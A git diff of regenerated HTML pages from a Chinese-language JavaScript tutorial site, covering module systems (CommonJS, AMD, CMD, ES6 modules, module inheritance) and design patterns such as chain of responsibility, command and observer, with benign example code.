                                        - + diff --git a/core-modules/modularization/import/index.html b/core-modules/modularization/import/index.html index 1ea926f59..f16798b96 100644 --- a/core-modules/modularization/import/index.html +++ b/core-modules/modularization/import/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -38,12 +41,12 @@
                                        // 报错 - 使用了判断语句
                                        if (x === 1) {
                                        import { foo } from 'module1';
                                        } else {
                                        import { foo } from 'module2';
                                        }

                                        上面三种写法都会报错,因为它们用到了表达式、变量和 if 结构。在静态分析阶段,这些语法都是没法得到值的。

                                        重复加载

                                        如果多次重复执行同一句 import 语句,那么只会执行一次,而不会执行多次

                                        import 'lodash'
                                        import 'lodash'

                                        上面代码加载了两次 lodash,但是只会执行一次。

                                        import { foo } from 'my_module';
                                        import { bar } from 'my_module';
                                        // 等同于
                                        import { foo, bar } from 'my_module';

                                        上面代码中,虽然 foobar 在两个语句中加载,但是它们对应的是同一个 my_module 实例。也就是说,import 语句是 Singleton 模式。

                                        模块化隔离

                                        目前阶段,通过 Babel 转码,CommonJS 模块的 require 命令和 ES6 模块的 import 命令,可以写在同一个模块里面,但是最好不要这样做。因为 import 在静态解析阶段执行,所以它是一个模块之中最早执行的。下面的代码可能不会得到预期结果。

                                        require('core-js/modules/es6.symbol')
                                        require('core-js/modules/es6.promise')
                                        -
                                        import React from 'React'
                                        +
                                        import React from 'React'
                                        - + diff --git a/core-modules/modularization/index.html b/core-modules/modularization/index.html index 43883f670..3f9dfeb5f 100644 --- a/core-modules/modularization/index.html +++ b/core-modules/modularization/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/core-modules/modularization/modularization/index.html b/core-modules/modularization/modularization/index.html index fc177df32..dc688e5d5 100644 --- a/core-modules/modularization/modularization/index.html +++ b/core-modules/modularization/modularization/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -44,12 +47,12 @@
                                        function otherFun() {
                                        //内部私有的函数
                                        console.log('privateFunction go otherFun()');
                                        }
                                        //暴露foo函数和bar函数
                                        window.moduleOne = { foo, bar };
                                        })(window, jQuery);

                                        test.html

                                        <!--引入的js必须有一定顺序-->
                                        <script type="text/javascript" src="jquery-1.10.1.js"></script>
                                        <script type="text/javascript" src="module1.js"></script>
                                        <script type="text/javascript">
                                        moduleOne.foo(); //foo() IIFE Strong module data 而且页面背景会变色
                                        </script>

                                        说明:

                                        <script type="text/javascript" src="module1.js"></script>
                                        <script type="text/javascript" src="module2.js"></script>
                                        <script type="text/javascript" src="module3.js"></script>
                                        <script type="text/javascript" src="module4.js"></script>

                                        模块化方案

                                        CommonJS

                                        CommonJS 是服务器端模块的规范,Node.js 就是采用了这个规范。但目前也可用于浏览器端,需要使用 Browserify 进行提前编译打包。

                                        CommonJS 模块化的引入方式使用 require,暴露的方式使用 module.exportsexports

                                        CommonJS

                                        特点

                                        彻底说明白 module.exportsexports 的区别:

                                        在 Node.js 中,module 是一个全局变量,类似于在浏览器端的 Window 也是一个全局变量一样的道理。

                                        module.exports 初始的时候置为空对象,exports 也指向这个空对象。

                                        内部代码实现:

                                        var module = {
                                        id: 'xxxx',
                                        exports: {},
                                        };
                                        var exports = module.exports;
                                        // exports 是对 module.exports 的引用
                                        // 也就是 exports 现在指向的内存地址和 module.exports 指向的内存地址是一样的

                                        上面的代码可以看出我们平常使用的 exports 是对 module.exports 的一个引用,两者都是指向同一个对象。

                                        用一句话来说明就是,模块的 require(引入)能看到的只有 module.exports 这个对象,它是看不到 exports 对象的,而我们在编写模块时用到的 exports 对象实际上只是对 module.exports 的引用。

                                        exports = module.exports;

                                        我们可以使用 exports.a = ‘xxx’exports.b = function(){} 添加方法或属性,本质上它也添加在 module.exports 所指向的对象身上。

                                        但是你不能直接 exports = { a: 'xxx'},这就将 exports 重新指向新的对象,它和 module.exports 就不是指向同一个对象,也就让两者失去了关系,而 Node.js 中 require 能看到的是 module.exports 指向的对象。

                                        因此,我们一般都会直接使用:

                                        module.exports;

                                        再举例说明两者区别:

                                        function foo() {
                                        console.log('foo');
                                        }
                                        -
                                        function bar() {
                                        console.log('bar');
                                        }

                                        想要将这两个函数暴露出去,可以直接使用exports

                                        exports.foo = foo;
                                        exports.bar = bar;

                                        也可以对 module.exports 赋值

                                        module.exports = {
                                        foo: foo,
                                        bar: bar,
                                        };

                                        但是不能直接对 exports 赋值

                                        // 错误
                                        exports = {
                                        foo: foo,
                                        bar: bar,
                                        };

                                        因为这样做仅仅改变了exports 的引用,而不改变 module.exports

                                        总结

                                        特点:同步加载,有缓存

                                        用法:关键在于引入和暴露

                                        主要是在服务器端使用的,但是也能在浏览器端运行,需要借助 Browserify 进行编译。

                                        AMD

                                        CommonJS 规范加载模块是同步的,也就是说,只有加载完成,才能执行后面的操作。由于 NodeJS 主要用于服务器编程,模块文件一般都已经存在于本地硬盘,所以加载起来比较快,所以同步加载没有问题。但是如果是浏览器端,同步加载很容易阻塞,这时候 AMD 规范就出来了。AMD 规范则是非同步加载模块,允许指定回调函数。故浏览器端一般会使用 AMD 规范。

                                        AMDrequire.js 在推广过程中对模块定义的规范化产出 。

                                        AMD

                                        特点:

                                        用法:

                                        AMD(通用模块定义)主要是在浏览器使用的。

                                        CMD

                                        CMD 是根据 CommonJS 和 AMD 基础上提出的。

                                        CMD(通用模块定义)和 AMD(异步模块定)是比较相似的。

                                        require.js 遵循的是 AMD(异步模块定义)规范,sea.js 遵循的是 CMD (通用模块定义)规范。

                                        CMD

                                        特点:

                                        用法:

                                        sea.jsrequire.js 一样主要在浏览器中使用。其实这两个一般都很少使用。用的比较多的是 commonjs 和马上要介绍的 ES6 模块化。

                                        ES6 Module

                                        特点:

                                        主要是用在浏览器,服务器端也使用。但是现在浏览器和服务器均不支持 ES6 的模块化语法,所以要借助工具来编译运行

                                        严格模式

                                        ES6 的模块自动采用严格模式,不管你是否有在模块头部加上 'use strict'

                                        严格模式主要有以下限制:

                                        其中,尤其需要注意 this 的限制。ES6 模块之中,顶层的 this 指向 undefined,即不应该在顶层代码使用 this

                                        模块化与组合化

                                        既然说到模块化,其实我更想说说模块化与组件化。这两个概念在前端领域已经十分普遍。

                                        先有模块化后有组件化。组件化是建立在模块化思想上的一次演进,一个变种。所以,我们会在软件工程体系中看过一句话:模块化是组件化的基石

                                        组件化和模块化的思想都是 分而治之 的思想。但还是有细小的区分,他们的侧重点有所不同。

                                        组件化更加倾向于 UI 层面上,是一个可以独立展示内容的「积木」,比如一个页面的头部组件,包含结构 HTML、样式 CSS、逻辑 JS、以及静态资源图片组合一个集合体。一个页面是由众多组件组成的,就像由众多「积木」搭成的「城堡」一样; 模块化更加倾向于功能或者数据的封装,一般由几个组件或单个组件构成的带有一定功能的集合体;

                                        引用一下 @张云龙 对组件化的理解:

                                        组件化示意图1

                                        就如上图的这个 title 组件,包含了结构 HTML、样式 CSS、逻辑 JavaScript、以及静态资源图片,往往组件的组成就是以上四个方面。这个 header 文件夹我们可以拿到其他项目中使用,它具有可以独立展示内容的特点。

                                        结合前面提到的模块化开发,整个前端项目可以划分为这么几种开发概念:

                                        名称说明举例
                                        JS 模块独立算法和数据单元浏览器环境检测(detect)、网络请求(ajax)、应用配置(config)、DOM 操作(dom)、工具函数(utils)以及组件里的 JS 单元
                                        CSS 模块独立的功能性样式单元栅格系统(grid)、字体图标(icon-fonts)、动画样式(animate)以及组件里的 CSS 单元
                                        页面前端这种 GUI 软件的的界面状态,是 UI 组件的容器首页(index)、列表页(list)、用户管理(user)
                                        应用整个项目或整个站点被称之为应用,由多个页面组成

                                        那么它们之间的关系如下图所示,一个应用由多个下图的页面组成。一个页面由多个组件组合。组件中可依赖 JS 模块。

                                        所以,前端开发现在不仅仅只是别人说的「画画页面实现点效果」的职位,它是实现软件的图形用户界面(Graphical User Interface,简称 GUI),是一名软件工程师。现在前端开发都是基于模块化和组件化的开发,可以说算是工程化的项目了。从单页面(SPA)的应用就可以看出 JavaScript 大大改善了 Web 应用的用户体验。从谷歌提出 PWA(Progressive Web Apps)就可以看出前端在领域的成长。

                                        不仅仅如此,多终端也已经成为时下以及未来的一个必然趋势,移动端、PC 端、触摸屏、智能设备、物联网等等,相信前端在跨端的领域下肯定会有更好的解决方案。

                                        但是,如果从整个软件工程来看,我们就会意识到一个惨痛的事实:前端工程师在整个系统工程中的地位太低了。前端是处于系统软件的上游(用户入口),因此没有其他系统会来调取前端系统的服务。而后端它在软件开发中处于下游,后端一方面要为前端提供接口服务,一方面要向中后台以及数据层索取服务,对接层次会更多,地位也就更高了。由此导致,感觉每次需求评估前端往往是最后一道坎,因为上游依托下游,就只能是下游先行了,整体上就会感觉前端对业务的参与度太低了。


                                        参考资料:

                                        +
                                        function bar() {
                                        console.log('bar');
                                        }

                                        想要将这两个函数暴露出去,可以直接使用exports

                                        exports.foo = foo;
                                        exports.bar = bar;

                                        也可以对 module.exports 赋值

                                        module.exports = {
                                        foo: foo,
                                        bar: bar,
                                        };

                                        但是不能直接对 exports 赋值

                                        // 错误
                                        exports = {
                                        foo: foo,
                                        bar: bar,
                                        };

                                        因为这样做仅仅改变了exports 的引用,而不改变 module.exports

                                        总结

                                        特点:同步加载,有缓存

                                        用法:关键在于引入和暴露

                                        主要是在服务器端使用的,但是也能在浏览器端运行,需要借助 Browserify 进行编译。

                                        AMD

                                        CommonJS 规范加载模块是同步的,也就是说,只有加载完成,才能执行后面的操作。由于 NodeJS 主要用于服务器编程,模块文件一般都已经存在于本地硬盘,所以加载起来比较快,所以同步加载没有问题。但是如果是浏览器端,同步加载很容易阻塞,这时候 AMD 规范就出来了。AMD 规范则是非同步加载模块,允许指定回调函数。故浏览器端一般会使用 AMD 规范。

                                        AMDrequire.js 在推广过程中对模块定义的规范化产出 。

                                        AMD

                                        特点:

                                        用法:

                                        AMD(通用模块定义)主要是在浏览器使用的。

                                        CMD

                                        CMD 是根据 CommonJS 和 AMD 基础上提出的。

                                        CMD(通用模块定义)和 AMD(异步模块定)是比较相似的。

                                        require.js 遵循的是 AMD(异步模块定义)规范,sea.js 遵循的是 CMD (通用模块定义)规范。

                                        CMD

                                        特点:

                                        用法:

                                        sea.jsrequire.js 一样主要在浏览器中使用。其实这两个一般都很少使用。用的比较多的是 commonjs 和马上要介绍的 ES6 模块化。

                                        ES6 Module

                                        特点:

                                        主要是用在浏览器,服务器端也使用。但是现在浏览器和服务器均不支持 ES6 的模块化语法,所以要借助工具来编译运行

                                        严格模式

                                        ES6 的模块自动采用严格模式,不管你是否有在模块头部加上 'use strict'

                                        严格模式主要有以下限制:

                                        其中,尤其需要注意 this 的限制。ES6 模块之中,顶层的 this 指向 undefined,即不应该在顶层代码使用 this

                                        模块化与组合化

                                        既然说到模块化,其实我更想说说模块化与组件化。这两个概念在前端领域已经十分普遍。

                                        先有模块化后有组件化。组件化是建立在模块化思想上的一次演进,一个变种。所以,我们会在软件工程体系中看过一句话:模块化是组件化的基石

                                        组件化和模块化的思想都是 分而治之 的思想。但还是有细小的区分,他们的侧重点有所不同。

                                        组件化更加倾向于 UI 层面上,是一个可以独立展示内容的「积木」,比如一个页面的头部组件,包含结构 HTML、样式 CSS、逻辑 JS、以及静态资源图片组合一个集合体。一个页面是由众多组件组成的,就像由众多「积木」搭成的「城堡」一样; 模块化更加倾向于功能或者数据的封装,一般由几个组件或单个组件构成的带有一定功能的集合体;

                                        引用一下 @张云龙 对组件化的理解:

                                        组件化示意图1

                                        就如上图的这个 title 组件,包含了结构 HTML、样式 CSS、逻辑 JavaScript、以及静态资源图片,往往组件的组成就是以上四个方面。这个 header 文件夹我们可以拿到其他项目中使用,它具有可以独立展示内容的特点。

                                        结合前面提到的模块化开发,整个前端项目可以划分为这么几种开发概念:

                                        名称说明举例
                                        JS 模块独立算法和数据单元浏览器环境检测(detect)、网络请求(ajax)、应用配置(config)、DOM 操作(dom)、工具函数(utils)以及组件里的 JS 单元
                                        CSS 模块独立的功能性样式单元栅格系统(grid)、字体图标(icon-fonts)、动画样式(animate)以及组件里的 CSS 单元
                                        页面前端这种 GUI 软件的的界面状态,是 UI 组件的容器首页(index)、列表页(list)、用户管理(user)
                                        应用整个项目或整个站点被称之为应用,由多个页面组成

                                        那么它们之间的关系如下图所示,一个应用由多个下图的页面组成。一个页面由多个组件组合。组件中可依赖 JS 模块。

                                        所以,前端开发现在不仅仅只是别人说的「画画页面实现点效果」的职位,它是实现软件的图形用户界面(Graphical User Interface,简称 GUI),是一名软件工程师。现在前端开发都是基于模块化和组件化的开发,可以说算是工程化的项目了。从单页面(SPA)的应用就可以看出 JavaScript 大大改善了 Web 应用的用户体验。从谷歌提出 PWA(Progressive Web Apps)就可以看出前端在领域的成长。

                                        不仅仅如此,多终端也已经成为时下以及未来的一个必然趋势,移动端、PC 端、触摸屏、智能设备、物联网等等,相信前端在跨端的领域下肯定会有更好的解决方案。

                                        但是,如果从整个软件工程来看,我们就会意识到一个惨痛的事实:前端工程师在整个系统工程中的地位太低了。前端是处于系统软件的上游(用户入口),因此没有其他系统会来调取前端系统的服务。而后端它在软件开发中处于下游,后端一方面要为前端提供接口服务,一方面要向中后台以及数据层索取服务,对接层次会更多,地位也就更高了。由此导致,感觉每次需求评估前端往往是最后一道坎,因为上游依托下游,就只能是下游先行了,整体上就会感觉前端对业务的参与度太低了。


                                        参考资料:

                                        - + diff --git a/core-modules/modularization/module-inheritance/index.html b/core-modules/modularization/module-inheritance/index.html index baf8e6fb2..898665af4 100644 --- a/core-modules/modularization/module-inheritance/index.html +++ b/core-modules/modularization/module-inheritance/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                                          模块继承

                                          模块之间也可以继承。

                                          假设有一个 children 模块,继承自 parent 模块。

                                          // children.js
                                          export * from 'parent'
                                          export var name = 'child'
                                          export function cry(){
                                          // do something
                                          }

                                          如上代码中的 export *,表示输出 parent 模块的所有模块和方法。然后,如上代码又输出了自定义的 name 属性和默认方法 cry

                                          同时,也可以将 parent 的属性或方法,改名后再输出。

                                          // children.js
                                          export { work as job } from 'parent'

                                          上面的代码表示,只输出 parent 模块的 work 方法,并且将其改名为 job

                                          加载上面模块的写法如下:

                                          // main.js
                                          import * as child from 'children'
                                          import cry from 'children'
                                          -
                                          console.log(cry(child.name))

                                          上面代码中的 import cry from 'children' 表示,将 children 模块的默认方法加载为 cry 方法。

                                          +
                                          console.log(cry(child.name))

                                          上面代码中的 import cry from 'children' 表示,将 children 模块的默认方法加载为 cry 方法。

                                          - + diff --git a/design-patterns/architectural/dependency-injection/index.html b/design-patterns/architectural/dependency-injection/index.html new file mode 100644 index 000000000..012ac7cc4 --- /dev/null +++ b/design-patterns/architectural/dependency-injection/index.html @@ -0,0 +1,42 @@ + + + + + + + + + + + Dependency-injection - JavaScript Guidebook + + +
                                          + + + + + diff --git a/design-patterns/architectural/index.html b/design-patterns/architectural/index.html new file mode 100644 index 000000000..49c215271 --- /dev/null +++ b/design-patterns/architectural/index.html @@ -0,0 +1,42 @@ + + + + + + + + + + + JavaScript Guidebook + + +
                                          + + + + + diff --git a/design-patterns/architectural/model-view-controller/index.html b/design-patterns/architectural/model-view-controller/index.html new file mode 100644 index 000000000..95cba0478 --- /dev/null +++ b/design-patterns/architectural/model-view-controller/index.html @@ -0,0 +1,42 @@ + + + + + + + + + + + Model-view-controller - JavaScript Guidebook + + +
                                          + + + + + diff --git a/design-patterns/architectural/model-view-viewmodel/index.html b/design-patterns/architectural/model-view-viewmodel/index.html new file mode 100644 index 000000000..d22fc3a92 --- /dev/null +++ b/design-patterns/architectural/model-view-viewmodel/index.html @@ -0,0 +1,42 @@ + + + + + + + + + + + Model-view-viewmodel - JavaScript Guidebook + + +
                                          + + + + + diff --git a/design-patterns/architectural/service-locator/index.html b/design-patterns/architectural/service-locator/index.html new file mode 100644 index 000000000..e098f3dcb --- /dev/null +++ b/design-patterns/architectural/service-locator/index.html @@ -0,0 +1,42 @@ + + + + + + + + + + + Service-locator - JavaScript Guidebook + + +
                                          + + + + + diff --git a/design-patterns/behavioral/chain-of-responsibility/index.html b/design-patterns/behavioral/chain-of-responsibility/index.html index 61450efc3..228393bec 100644 --- a/design-patterns/behavioral/chain-of-responsibility/index.html +++ b/design-patterns/behavioral/chain-of-responsibility/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 职责链模式 - JavaScript Guidebook -

                                          职责链模式

                                          职责链模式(Chain of Responsibility):解决请求的发送者和请求的接受者之间的耦合,通过职责链上的多个对象对分解请求流程,实现请求在多个对象之间的传递,直到有对象处理它为止。

                                          概述

                                          • 解决问题:职责链上的处理者负责处理请求,客户只需要将请求发送到职责链上即可,无须关心请求的处理细节和请求的传递,所以职责链将请求的发送者和请求的处理者解耦了。
                                          • 何时使用:在处理消息的时候以过滤很多道
                                          • 如何解决:拦截的类都实现统一接口
                                          • 核心代码:Handler 里面聚合它自己,在 HandlerRequest 里判断是否合适,如果没达到条件则向下传递,向谁传递之前 set 进去。
                                          • 应用实例
                                            • 如果早高峰能顺利挤上公交车的话,那么估计这一天都会过得很开心。因为公交车上人实在太多了,经常上车后却找不到售票员在哪,所以只好把两块钱硬币往前面递。除非你运气够好,站在你前面的第一个人就是售票员,否则,你的硬币通常要在 N 个人手上传递,才能最终到达售票员的手里。
                                            • 中学时代的期末考试,如果你平时不太老实,考试时就会被安排在第一个位置。遇到不会答的题目,就把题目编号写在小纸条上往后传递,坐在后面的同学如果也不会答,他就会把这张小纸条继续递给他后面的人。
                                          • 优点
                                            • 降低耦合度。它将请求的发送者和接收者解耦。
                                            • 简化对象。使得对象不需要知道链的结构。
                                            • 增强给对象指派职责的灵活性。通过改变链内的成员活着调动它们的次序,允许动态地新增活着删除责任。
                                            • 增加新的请求处理类很方便
                                          • 缺点
                                            • 不能保证请求一定被接收
                                            • 系统性能将受到一定影响,而且在进行代码调试时不太方便,可能会造成循环调用
                                            • 可能不容易观察运行时的特征,有碍于除错
                                          • 使用场景
                                            • 有多个对象可以处理同一个请求,具体哪个对象处理该请求由运行时刻自动确定
                                            • 在不明确指定接收者的情况下,向多个对象中的一个提交一个请求
                                            • 可动态指定一组对象处理请求

                                          结构

                                          职责链模式包含如下角色:

                                          • 抽象处理者(Handler):定义一个处理请求的抽象类。如果需要,可以定义一个方法以设定返回对下家的引用。
                                          • 具体处理者(ConcreteHandler):具体处理者接到请求后,可以选择将请求处理掉,或者将请求传给下家。由于具体处理者持有对下家的引用,因此,如果需要,具体处理者可以访问下家。
                                          +

                                          职责链模式

                                          职责链模式(Chain of Responsibility):解决请求的发送者和请求的接受者之间的耦合,通过职责链上的多个对象对分解请求流程,实现请求在多个对象之间的传递,直到有对象处理它为止。

                                          概述

                                          • 解决问题:职责链上的处理者负责处理请求,客户只需要将请求发送到职责链上即可,无须关心请求的处理细节和请求的传递,所以职责链将请求的发送者和请求的处理者解耦了。
                                          • 何时使用:在处理消息的时候以过滤很多道
                                          • 如何解决:拦截的类都实现统一接口
                                          • 核心代码:Handler 里面聚合它自己,在 HandlerRequest 里判断是否合适,如果没达到条件则向下传递,向谁传递之前 set 进去。
                                          • 应用实例
                                            • 如果早高峰能顺利挤上公交车的话,那么估计这一天都会过得很开心。因为公交车上人实在太多了,经常上车后却找不到售票员在哪,所以只好把两块钱硬币往前面递。除非你运气够好,站在你前面的第一个人就是售票员,否则,你的硬币通常要在 N 个人手上传递,才能最终到达售票员的手里。
                                            • 中学时代的期末考试,如果你平时不太老实,考试时就会被安排在第一个位置。遇到不会答的题目,就把题目编号写在小纸条上往后传递,坐在后面的同学如果也不会答,他就会把这张小纸条继续递给他后面的人。
                                          • 优点
                                            • 降低耦合度。它将请求的发送者和接收者解耦。
                                            • 简化对象。使得对象不需要知道链的结构。
                                            • 增强给对象指派职责的灵活性。通过改变链内的成员活着调动它们的次序,允许动态地新增活着删除责任。
                                            • 增加新的请求处理类很方便
                                          • 缺点
                                            • 不能保证请求一定被接收
                                            • 系统性能将受到一定影响,而且在进行代码调试时不太方便,可能会造成循环调用
                                            • 可能不容易观察运行时的特征,有碍于除错
                                          • 使用场景
                                            • 有多个对象可以处理同一个请求,具体哪个对象处理该请求由运行时刻自动确定
                                            • 在不明确指定接收者的情况下,向多个对象中的一个提交一个请求
                                            • 可动态指定一组对象处理请求

                                          结构

                                          职责链模式包含如下角色:

                                          • 抽象处理者(Handler):定义一个处理请求的抽象类。如果需要,可以定义一个方法以设定返回对下家的引用。
                                          • 具体处理者(ConcreteHandler):具体处理者接到请求后,可以选择将请求处理掉,或者将请求传给下家。由于具体处理者持有对下家的引用,因此,如果需要,具体处理者可以访问下家。
                                          - + diff --git a/design-patterns/behavioral/command/index.html b/design-patterns/behavioral/command/index.html index 4ffb5b186..088fc04a0 100644 --- a/design-patterns/behavioral/command/index.html +++ b/design-patterns/behavioral/command/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 命令模式 - JavaScript Guidebook -

                                          命令模式

                                          命令模式(Command Pattern):将一个请求封装为一个对象,从而使我们可用不同的请求对客户进行参数化;对请求排队或者记录请求日志,以及支持可撤销的操作。命令模式是一种对象行为型模式,其别名为动作(Action)模式或事务(Transaction)模式。

                                          模式概述

                                          • 解决问题:在软件系统中,行为请求者与行为实现者通常是一种紧耦合的关系,但某些场合,比如需要对行为进行记录、撤销或重做、事务等处理时,这种无法抵御变化的紧耦合的设计就不太合适。
                                          • 何时使用:在某些场合,比如要对行为进行"记录、撤销/重做、事务"等处理,这种无法抵御变化的紧耦合是不合适的。在这种情况下,如何将"行为请求者"与"行为实现者"解耦?将一组行为抽象为对象,可以实现二者之间的松耦合。
                                          • 如何解决:通过调用者调用接受者执行命令,顺序:调用者→接受者→命令。
                                          • 核心代码:定义三个角色:1、received 真正的命令执行对象 2、Command 3、invoker 使用命令对象的入口
                                          • 应用实例

                                          • 优点
                                            • 降低耦合度
                                            • 新的命令可以很容易添加到系统中去
                                          • 缺点
                                            • 使用命令模式可能会导致某些系统有过多的具体命令类
                                          • 使用场景
                                            • 认为是命令的地方都可以使用命令模式
                                              • GUI 中每一个按钮都是一条命令
                                              • 模拟 CMD

                                          模式结构

                                          职责链模式包含如下角色:

                                          • Command(抽象命令类):
                                          • ConcreteCommand(具体命令类):
                                          • Invoker(调用者):
                                          • Receiver(接收者):
                                          • Client(客户类):
                                          +

                                          命令模式

                                          命令模式(Command Pattern):将一个请求封装为一个对象,从而使我们可用不同的请求对客户进行参数化;对请求排队或者记录请求日志,以及支持可撤销的操作。命令模式是一种对象行为型模式,其别名为动作(Action)模式或事务(Transaction)模式。

                                          模式概述

                                          • 解决问题:在软件系统中,行为请求者与行为实现者通常是一种紧耦合的关系,但某些场合,比如需要对行为进行记录、撤销或重做、事务等处理时,这种无法抵御变化的紧耦合的设计就不太合适。
                                          • 何时使用:在某些场合,比如要对行为进行"记录、撤销/重做、事务"等处理,这种无法抵御变化的紧耦合是不合适的。在这种情况下,如何将"行为请求者"与"行为实现者"解耦?将一组行为抽象为对象,可以实现二者之间的松耦合。
                                          • 如何解决:通过调用者调用接受者执行命令,顺序:调用者→接受者→命令。
                                          • 核心代码:定义三个角色:1、received 真正的命令执行对象 2、Command 3、invoker 使用命令对象的入口
                                          • 应用实例

                                          • 优点
                                            • 降低耦合度
                                            • 新的命令可以很容易添加到系统中去
                                          • 缺点
                                            • 使用命令模式可能会导致某些系统有过多的具体命令类
                                          • 使用场景
                                            • 认为是命令的地方都可以使用命令模式
                                              • GUI 中每一个按钮都是一条命令
                                              • 模拟 CMD

                                          模式结构

                                          职责链模式包含如下角色:

                                          • Command(抽象命令类):
                                          • ConcreteCommand(具体命令类):
                                          • Invoker(调用者):
                                          • Receiver(接收者):
                                          • Client(客户类):
                                          - + diff --git a/design-patterns/behavioral/index.html b/design-patterns/behavioral/index.html index ac4710394..db5fc9be3 100644 --- a/design-patterns/behavioral/index.html +++ b/design-patterns/behavioral/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + JavaScript Guidebook -
                                          +
                                          - + diff --git a/design-patterns/behavioral/interpreter/index.html b/design-patterns/behavioral/interpreter/index.html index e1e1e8936..0f3b800e1 100644 --- a/design-patterns/behavioral/interpreter/index.html +++ b/design-patterns/behavioral/interpreter/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 解释器模式 - JavaScript Guidebook -
                                          +
                                          - + diff --git a/design-patterns/behavioral/iterator/index.html b/design-patterns/behavioral/iterator/index.html index b7fecd5fe..d14bc4ebd 100644 --- a/design-patterns/behavioral/iterator/index.html +++ b/design-patterns/behavioral/iterator/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 迭代器模式 - JavaScript Guidebook -
                                          +
                                          - + diff --git a/design-patterns/behavioral/mediator/index.html b/design-patterns/behavioral/mediator/index.html index fc48a747d..a8af35ca9 100644 --- a/design-patterns/behavioral/mediator/index.html +++ b/design-patterns/behavioral/mediator/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 中介者模式 - JavaScript Guidebook -
                                          +
                                          - + diff --git a/design-patterns/behavioral/memento/index.html b/design-patterns/behavioral/memento/index.html index 6a3a34d03..0578f8777 100644 --- a/design-patterns/behavioral/memento/index.html +++ b/design-patterns/behavioral/memento/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 备忘录模式 - JavaScript Guidebook -
                                          +
                                          - + diff --git a/design-patterns/behavioral/observer/index.html b/design-patterns/behavioral/observer/index.html index 438073a24..63a1bcd76 100644 --- a/design-patterns/behavioral/observer/index.html +++ b/design-patterns/behavioral/observer/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 观察者模式 - JavaScript Guidebook -

                                          观察者模式

                                          观察者模式(Observer Pattern):定义对象间的一种一对多依赖关系,使得每当一个对象状态发生改变时,其相关依赖对象皆得到通知并被自动更新。

                                          所谓观察者模式,其实就是为了实现 松耦合(Loosely Coupled)

                                          举个例子,当数据有更新,如 changed 方法被调用,用于更新 state 数据,比如温度、气压等。

                                          这些的问题是,如果向更新更多的信息,比如说湿度,那就要去修改 changed 方法的代码,这就是紧耦合的坏处。

                                          对于观察者模式,我们仅仅维护一个可观察对象即可,即一个 Observable 实例,当有数据变更时,它只需维护一套观察者(Observer)的集合,这些 Observer 实现相同的接口,Subject 只需要指导,通知 Observer 时,需要调用哪个同一方法就好了。

                                          概述

                                          解决问题:一个对象状态改变给其他对象通知的问题,而且要考虑到易用和低耦合,保证高度的协作

                                          应用时机:一个对象(目标对象)的状态发生改变,所有的依赖对象(观察者对象)都将得到通知,进行广播通知

                                          如何解决:使用面向对象技术,可以将这种依赖关系弱化

                                          类比实例

                                          • 拍卖的时候,拍卖师观察最高标价,然后通知给其他竞价者竞价。
                                          • 面试的时候,结束之后每个面试官都会对我说:“请留下你的联系方式, 有消息我们会通知你”。 在这里“我”是订阅者, 面试官是发布者。所以我不用每天或者每小时都去询问面试结果, 通讯的主动权掌握在了面试官手上。而我只需要提供一个联系方式。

                                          优点

                                          • 观察者和被观察者是 抽象耦合
                                          • 建立一套触发机制

                                          缺点

                                          • 如果一个被观察者对象有很多的直接和间接的观察者的话,将所有的观察者都通知到会花费很多时间
                                          • 如果在观察者和观察目标之间有循环依赖的话,观察目标会触发它们之间进行循环调用,可能导致系统崩溃
                                          • 观察者模式没有相应的机制让观察者知道所观察的目标对象是怎么发生变化的,而仅仅只是知道观察目标发生了变化

                                          结构

                                          观察者模式包含如下角色:

                                          • Subject(目标):知道它的通知对象,事件发生后会通知所有它知道的对象,提供添加删除观察者的接口。
                                          • ConcreteSubject(具体目标):被观察者具体的实例,存储观察者感兴趣的状态。
                                          • Observer(观察者):提供通知后的更新事件。
                                          • ConcreteObserver(具体观察者):被观察者具体的实例,存储观察者感兴趣的状态。

                                          代码实现

                                          // 被观察者
                                          class Subject {
                                          constructor(name) {
                                          // 观察者队列
                                          this.observers = [];
                                          }
                                          // 注册观察者到被观察者上
                                          attach(observer) {
                                          this.observers.push(observer);
                                          }
                                          // 执行所有观察者的 update 方法
                                          notify(nextState) {
                                          this.observers.forEach((o) => o.update(nextState));
                                          }
                                          }
                                          +

                                          观察者模式

                                          观察者模式(Observer Pattern):定义对象间的一种一对多依赖关系,使得每当一个对象状态发生改变时,其相关依赖对象皆得到通知并被自动更新。

                                          所谓观察者模式,其实就是为了实现 松耦合(Loosely Coupled)

                                          举个例子,当数据有更新,如 changed 方法被调用,用于更新 state 数据,比如温度、气压等。

                                          这些的问题是,如果向更新更多的信息,比如说湿度,那就要去修改 changed 方法的代码,这就是紧耦合的坏处。

                                          对于观察者模式,我们仅仅维护一个可观察对象即可,即一个 Observable 实例,当有数据变更时,它只需维护一套观察者(Observer)的集合,这些 Observer 实现相同的接口,Subject 只需要指导,通知 Observer 时,需要调用哪个同一方法就好了。

                                          概述

                                          解决问题:一个对象状态改变给其他对象通知的问题,而且要考虑到易用和低耦合,保证高度的协作

